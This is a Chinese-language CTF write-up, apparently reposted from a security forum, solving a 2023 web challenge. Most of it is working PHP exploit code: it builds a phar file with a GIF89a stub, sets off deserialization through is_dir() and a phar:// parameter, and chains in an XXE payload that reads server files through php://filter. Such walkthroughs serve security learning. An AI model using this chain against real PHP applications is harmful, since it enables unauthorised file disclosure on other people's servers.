2023长城杯Web WP
2023-4-2 13:30:0 Author: xz.aliyun.com(查看原文) 阅读量:9 收藏

以下均是赛后自搭环境复现情况:
题目默认是地址是 xxxx:8003
有注册功能点和登陆功能点,但在一波信息收集后并无果,并且URL参数的id=1也是幌子
在师兄的扫描端口下,发现了8000端口,访问后直接给了源码:

<?php
class TheUse{
    private $obj;
    private $con1;
    private $con2;
    function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    }
    function __destruct(){
        $new = $this->obj;
        $new($this->con1,$this->con2);
    }
}
class MyClass{
    private $dir;
    function __construct($dir){
        $this->dir = $dir;
    }
    function __toString(){
        echo "String conversion...\n";
    }
    function __invoke($param1,$param2){
        $this->$param1($param2);
    }
    public function getdir($path){
        print_r(glob($path));
    }
    public function load($con){
        simplexml_load_string($con,null,LIBXML_NOENT);
    }
}

if(isset($_REQUEST['f'])){
    $filename=$_REQUEST['f'];
    is_dir($filename);
}else{
    highlight_file(__FILE__);
}

看到class的魔术方法第一时间想到反序列化
但是没有类似于unserialize()的反序列化函数
注意到函数is_dir()is_dir()函数可以触发phar协议,phar协议可以触发反序列化
但是phar需要有文件上传的点:于是找到了/upload.php这个功能点
因此思路就有了:

通过链子构造phar文件,上传phar文件后用phar协议读取

反序列化的链子很简单:

TheUse$__destruct() -->MyClass$__invoke-->MyClass$getdir()  //读取文件名称
TheUse$__destruct() -->MyClass$__invoke-->MyClass$load()     //读取文件内容

构造反序列化链子:

<?php
class TheUse{
    private $obj;
    private $con1;
    private $con2;
    function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    }
    function __destruct(){
        $new = $this->obj;
        $new($this->con1,$this->con2);
    }
}
class MyClass{
    private $dir;
    function __construct($dir){
        $this->dir = $dir;
    }
    function __toString(){
        echo "String conversion...\n";
    }
    function __invoke($param1,$param2){
        $this->$param1($param2);
    }
    public function getdir($path){
        print_r(glob($path));
    }
    public function load($con){
        simplexml_load_string($con,null,LIBXML_NOENT);
    }
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('./'), 'load', $xml);

坑点1

构造函数的时候$xml变量要用

$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;

这种形式定义,不能直接放到构造函数里,我就是因为这一步频繁报错未解出来

坑点2

在xml中读取文件时要用绝对路径读取协议(这里用了php伪协议读取文件)

不用绝对路径的报错图:

解决方法(使用绝对路径):

解题:

payload生成读取文件名的phar文件:

<?php
class TheUse{
     private $obj;
     private $con1;
     private $con2;
     function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    } 
     function __destruct(){
         $new = $this->obj;
         $new($this->con1,$this->con2);
     }
 }
 class MyClass{
     private $dir;
     function __construct($dir){
        $this->dir = $dir;
    } 
     function __toString(){
         echo "String conversion...\n";
     }
     function __invoke($param1,$param2){
         $this->$param1($param2);
     }
     private function getdir($path){
         print_r(glob($path));
     }
     private function load($con){
         simplexml_load_string($con,null,LIBXML_NOENT);
     }
 }


$payload = new TheUse(new MyClass('/var/www/html'), 'getdir', '/var/www/html/*');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();

运行后上传phar文件
然后使用phar协议读取:

?f=phar:///var/www/html/phar.phar

可以看到flag的名称是Maybe_flag_is_here.php
接下来读取flag:

<?php
class TheUse{
     private $obj;
     private $con1;
     private $con2;
     function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    } 
     function __destruct(){
         $new = $this->obj;
         $new($this->con1,$this->con2);
     }
 }
 class MyClass{
     private $dir;
     function __construct($dir){
        $this->dir = $dir;
    } 
     function __toString(){
         echo "String conversion...\n";
     }
     function __invoke($param1,$param2){
         $this->$param1($param2);
     }
     private function getdir($path){
         print_r(glob($path));
     }
     private function load($con){
         simplexml_load_string($con,null,LIBXML_NOENT);
     }
 }


$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Maybe_flag_is_here.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('/var/www/html'), 'load', $xml);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();

依旧是把生成的phar文件上传,使用phar协议反序列化:

?f=phar:///var/www/html/phar.phar

解码得到flag:

flag:flag{this-is-flag-for-you}

思考:

以前从未接触过XML读文件的函数,于是在解题时直接放入构造函数中,而不是先利用

的形式构造,然后再传入构造函数


文章来源: https://xz.aliyun.com/t/12385
如有侵权请联系:admin#unsafe.sh